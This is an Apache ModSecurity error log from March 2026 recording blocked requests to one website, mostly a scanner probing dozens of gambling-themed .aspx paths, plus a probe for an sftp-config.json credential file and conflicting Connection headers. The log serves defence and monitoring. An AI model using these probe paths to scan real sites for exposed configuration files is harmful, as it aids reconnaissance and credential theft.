[Mon Mar 30 13:14:55.832532 2026] [:error] [pid 35343:tid 35368] [client 65.108.125.120:50956] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "acoGz6P5HurqmbvwN-KkeQAAABc"]
[Mon Mar 30 13:44:09.185438 2026] [:error] [pid 35248:tid 35269] [client 185.171.30.36:26224] [client 185.171.30.36] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "acoNqb3igMCgAQPFS_9JdgAAAE8"]
[Mon Mar 30 15:23:36.059673 2026] [:error] [pid 35249:tid 35288] [client 170.106.140.110:53568] [client 170.106.140.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acok-CqCKiTq85d6rgA7FwAAAIQ"]
[Mon Mar 30 16:46:00.547843 2026] [:error] [pid 41941:tid 41947] [client 43.155.26.193:59632] [client 43.155.26.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aco4SCB2g7BNCXGBOJMnUAAAAQQ"]
[Mon Mar 30 18:14:08.600330 2026] [:error] [pid 35249:tid 35304] [client 51.83.237.175:34318] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acpM8CqCKiTq85d6rgBMjwAAAJQ"]
[Mon Mar 30 18:14:08.784531 2026] [:error] [pid 64743:tid 64753] [client 51.83.237.175:34314] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acpM8CzmpVL6Ubzil4iX7AAAAUg"]
[Mon Mar 30 18:14:10.686340 2026] [:error] [pid 35248:tid 35258] [client 51.83.237.175:38040] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acpM8r3igMCgAQPFS_90dgAAAEQ"]
[Mon Mar 30 18:14:10.883890 2026] [:error] [pid 35248:tid 35267] [client 51.83.237.175:38042] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acpM8r3igMCgAQPFS_90eAAAAE0"]
[Mon Mar 30 18:14:12.744982 2026] [:error] [pid 35248:tid 35257] [client 51.83.237.175:38052] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acpM9L3igMCgAQPFS_90ewAAAEM"]
[Mon Mar 30 18:14:13.010513 2026] [:error] [pid 35249:tid 35297] [client 51.83.237.175:38056] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acpM9SqCKiTq85d6rgBMkAAAAI0"]
[Mon Mar 30 18:14:14.746730 2026] [:error] [pid 64743:tid 64747] [client 51.83.237.175:38058] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "acpM9izmpVL6Ubzil4iX7gAAAUI"]
[Mon Mar 30 18:14:14.964517 2026] [:error] [pid 11947:tid 11954] [client 51.83.237.175:38068] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "acpM9jSVtzzXIgk-FgklFwAAAgU"]
[Mon Mar 30 18:14:16.813522 2026] [:error] [pid 11947:tid 11973] [client 51.83.237.175:38076] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acpM-DSVtzzXIgk-FgklIAAAAhg"]
[Mon Mar 30 18:14:16.881960 2026] [:error] [pid 11947:tid 11959] [client 51.83.237.175:60526] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acpM-DSVtzzXIgk-FgklIQAAAgo"]
[Mon Mar 30 18:14:18.839664 2026] [:error] [pid 11947:tid 11966] [client 51.83.237.175:60536] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acpM-jSVtzzXIgk-FgklMQAAAhE"]
[Mon Mar 30 18:14:18.876399 2026] [:error] [pid 35343:tid 35363] [client 51.83.237.175:60548] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acpM-qP5HurqmbvwN-IYqAAAABI"]
[Mon Mar 30 18:14:20.875106 2026] [:error] [pid 35248:tid 35258] [client 51.83.237.175:60558] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acpM_L3igMCgAQPFS_90hwAAAEQ"]
[Mon Mar 30 18:14:21.018148 2026] [:error] [pid 35248:tid 35265] [client 51.83.237.175:60560] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acpM_b3igMCgAQPFS_90iAAAAEs"]
[Mon Mar 30 18:14:22.890942 2026] [:error] [pid 11947:tid 11954] [client 51.83.237.175:60576] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "acpM_jSVtzzXIgk-FgklNwAAAgU"]
[Mon Mar 30 18:14:23.169183 2026] [:error] [pid 12106:tid 12110] [client 51.83.237.175:60578] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "acpM_7IKxOs8TAdw7hcJqAAAAoI"]
[Mon Mar 30 18:14:24.926785 2026] [:error] [pid 35248:tid 35269] [client 51.83.237.175:60580] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "acpNAL3igMCgAQPFS_90jwAAAE8"]
[Mon Mar 30 18:14:25.236670 2026] [:error] [pid 35343:tid 35354] [client 51.83.237.175:60590] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "acpNAaP5HurqmbvwN-IYsAAAAAk"]
[Mon Mar 30 18:14:27.026925 2026] [:error] [pid 12106:tid 12124] [client 51.83.237.175:45872] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "acpNA7IKxOs8TAdw7hcJrAAAApA"]
[Mon Mar 30 18:14:27.254375 2026] [:error] [pid 35248:tid 35256] [client 51.83.237.175:45876] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "acpNA73igMCgAQPFS_90lQAAAEI"]
[Mon Mar 30 18:14:29.100854 2026] [:error] [pid 35343:tid 35363] [client 51.83.237.175:45888] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "acpNBaP5HurqmbvwN-IYsgAAABI"]
[Mon Mar 30 18:14:29.433568 2026] [:error] [pid 64743:tid 64748] [client 51.83.237.175:45898] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "acpNBSzmpVL6Ubzil4iX_AAAAUM"]
[Mon Mar 30 18:14:31.078729 2026] [:error] [pid 41941:tid 41955] [client 51.83.237.175:45904] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "acpNByB2g7BNCXGBOJNeHgAAAQw"]
[Mon Mar 30 18:14:31.551848 2026] [:error] [pid 35249:tid 35298] [client 51.83.237.175:45912] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "acpNByqCKiTq85d6rgBMnQAAAI4"]
[Mon Mar 30 18:14:33.138752 2026] [:error] [pid 41941:tid 41945] [client 51.83.237.175:45914] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "acpNCSB2g7BNCXGBOJNeIgAAAQI"]
[Mon Mar 30 18:14:33.598905 2026] [:error] [pid 50663:tid 50668] [client 51.83.237.175:45920] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "acpNCW28b9DKIAMEdfALEwAAAYM"]
[Mon Mar 30 18:14:35.084833 2026] [:error] [pid 35248:tid 35255] [client 51.83.237.175:45934] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "acpNC73igMCgAQPFS_90mgAAAEE"]
[Mon Mar 30 18:14:35.489250 2026] [:error] [pid 35343:tid 35369] [client 51.83.237.175:45944] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "acpNC6P5HurqmbvwN-IYtQAAABg"]
[Mon Mar 30 18:14:36.898455 2026] [:error] [pid 35343:tid 35346] [client 51.83.237.175:39642] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "acpNDKP5HurqmbvwN-IYuAAAAAE"]
[Mon Mar 30 18:14:37.561111 2026] [:error] [pid 35343:tid 35354] [client 51.83.237.175:39652] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "acpNDaP5HurqmbvwN-IYvAAAAAk"]
[Mon Mar 30 18:14:38.833046 2026] [:error] [pid 35250:tid 35321] [client 51.83.237.175:39666] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "acpNDoaKM1MR6zcp2YNNSgAAAMo"]
[Mon Mar 30 18:14:39.593797 2026] [:error] [pid 35250:tid 35326] [client 51.83.237.175:39676] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "acpND4aKM1MR6zcp2YNNTAAAAM8"]
[Mon Mar 30 18:14:40.768121 2026] [:error] [pid 35248:tid 35275] [client 51.83.237.175:39688] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "acpNEL3igMCgAQPFS_90vAAAAFU"]
[Mon Mar 30 18:14:41.609544 2026] [:error] [pid 64743:tid 64761] [client 51.83.237.175:39704] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "acpNESzmpVL6Ubzil4iYAgAAAVA"]
[Mon Mar 30 18:14:42.774778 2026] [:error] [pid 35249:tid 35304] [client 51.83.237.175:39716] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "acpNEiqCKiTq85d6rgBMpAAAAJQ"]
[Mon Mar 30 18:14:43.613609 2026] [:error] [pid 35249:tid 35298] [client 51.83.237.175:39730] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "acpNEyqCKiTq85d6rgBMpwAAAI4"]
[Mon Mar 30 18:14:44.804315 2026] [:error] [pid 64743:tid 64759] [client 51.83.237.175:39734] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "acpNFCzmpVL6Ubzil4iYBwAAAU4"]
[Mon Mar 30 18:14:45.522518 2026] [:error] [pid 64743:tid 64751] [client 51.83.237.175:39738] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "acpNFSzmpVL6Ubzil4iYCAAAAUY"]
[Mon Mar 30 18:14:47.003844 2026] [:error] [pid 11947:tid 11956] [client 51.83.237.175:46556] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "acpNFzSVtzzXIgk-FgklTAAAAgc"]
[Mon Mar 30 18:14:48.133843 2026] [:error] [pid 11947:tid 11963] [client 51.83.237.175:46568] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "acpNGDSVtzzXIgk-FgklYAAAAg4"]
[Mon Mar 30 18:14:49.195345 2026] [:error] [pid 41941:tid 41962] [client 51.83.237.175:46578] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "acpNGSB2g7BNCXGBOJNeJAAAARM"]
[Mon Mar 30 18:14:51.120912 2026] [:error] [pid 35248:tid 35262] [client 51.83.237.175:46588] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "acpNG73igMCgAQPFS_90zAAAAEg"]
[Mon Mar 30 18:14:54.290193 2026] [:error] [pid 50663:tid 50678] [client 51.83.237.175:46594] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "acpNHm28b9DKIAMEdfALIgAAAY0"]
[Mon Mar 30 18:14:56.431103 2026] [:error] [pid 35250:tid 35320] [client 51.83.237.175:46596] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "acpNIIaKM1MR6zcp2YNNagAAAMk"]
[Mon Mar 30 18:14:56.810841 2026] [:error] [pid 50663:tid 50684] [client 51.83.237.175:46602] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "acpNIG28b9DKIAMEdfALJAAAAZM"]
[Mon Mar 30 18:14:58.491068 2026] [:error] [pid 35343:tid 35355] [client 51.83.237.175:49452] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "acpNIqP5HurqmbvwN-IYzgAAAAo"]
[Mon Mar 30 18:14:59.194484 2026] [:error] [pid 35250:tid 35333] [client 51.83.237.175:49466] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "acpNI4aKM1MR6zcp2YNNbgAAANY"]
[Mon Mar 30 18:15:00.689449 2026] [:error] [pid 11947:tid 11965] [client 51.83.237.175:49468] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "acpNJDSVtzzXIgk-FgklegAAAhA"]
[Mon Mar 30 18:15:01.218556 2026] [:error] [pid 11947:tid 11969] [client 51.83.237.175:49482] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "acpNJTSVtzzXIgk-FgklfAAAAhQ"]
[Mon Mar 30 18:15:02.658444 2026] [:error] [pid 11947:tid 11972] [client 51.83.237.175:49490] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "acpNJjSVtzzXIgk-FgklgwAAAhc"]
[Mon Mar 30 18:15:03.541676 2026] [:error] [pid 35248:tid 35275] [client 51.83.237.175:49506] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "acpNJ73igMCgAQPFS_903wAAAFU"]
